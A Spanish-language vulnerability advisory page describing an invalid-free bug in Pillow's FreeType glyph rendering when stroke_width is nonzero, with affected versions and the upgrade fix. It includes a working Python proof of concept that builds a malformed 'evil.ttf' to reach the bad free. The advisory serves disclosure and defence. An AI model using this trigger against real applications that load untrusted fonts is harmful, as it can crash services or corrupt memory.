Alta

Pillow: Liberación inválida en el renderizado de glifos de FreeType cuando hay un stroker activo

  • Publicada: 21.10.2026
  • Actualizado: 22.10.2026 00:04

Resumen

Cuando se dibuja texto con un ancho de trazo distinto de cero, Pillow crea un trazador (stroker) de FreeType y luego carga cada glifo. Si FT_Load_Glyph falla para un glifo, la ruta de limpieza llama a FT_Done_Glyph en la variable glyph. Dicha variable no se inicializa antes del primer bucle de medición y, en el bucle de renderizado, no se restablece a NULL después de liberar cada glifo. Una fuente malformada cargada desde bytes no confiables puede forzar el error de carga y alcanzar esta liberación de memoria. Se trata de un defecto latente de seguridad de memoria; que se produzca una caída del sistema depende del valor en el puntero no inicializado o desactualizado.

Detalles

glyph se declara sin un inicializador NULL:

  • src/_imagingft.c:848

El primer bucle de medición puede saltar a glyph_error antes de que glyph llegue a asignarse:

  • src/_imagingft.c:1010-1013

En el bucle de renderizado, el glifo se libera al final de cada iteración y no se restablece a NULL:

  • src/_imagingft.c:1242

La limpieza lo libera siempre que exista un stroker:

  • src/_imagingft.c:1253-1256

ImageFont.truetype acepta un objeto de archivo o bytes, por lo que la fuente puede ser suministrada por un atacante.

PoC

Esto requiere fontTools y cualquier TTF base (el ejemplo utiliza una incluida en las pruebas de Pillow). Reescribe el glifo "A" para reclamar 5000 contornos en un cuerpo de glifo demasiado corto para ellos, de modo que FT_Load_Glyph devuelve un error mientras que la tipografía todavía se abre.

python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Resultado en la compilación fijada: FT_Load_Glyph devuelve un error y la ejecución alcanza la limpieza glyph_error que llama a FT_Done_Glyph(glyph) (el complemento muestra OSError: invalid outline).

Impacto

Las aplicaciones que dibujan texto con stroke_width != 0 utilizando fuentes cargadas desde bytes no confiables pueden provocar una liberación de memoria no válida o una doble liberación (double free). La corrección consiste en inicializar glyph = NULL y restablecerlo a NULL después de cada FT_Done_Glyph.

Qué hacer

Actualice Pillow a la versión 13.0.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 10.0.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-457, CWE-763
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
21.10.2026
Actualizado
22.10.2026 00:04

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (89) en el archivo
Entradas en total
89
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 12
  • Alta 57
  • Media 18
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

antes: 12

Gravedad:
  1. Alta CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Liberación inválida en el renderizado de glifos de FreeType cuando hay un stroker activo esta entrada
    Alta CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  3. Crítica CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Mostrar más (20) Mostrando 20 de 69

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.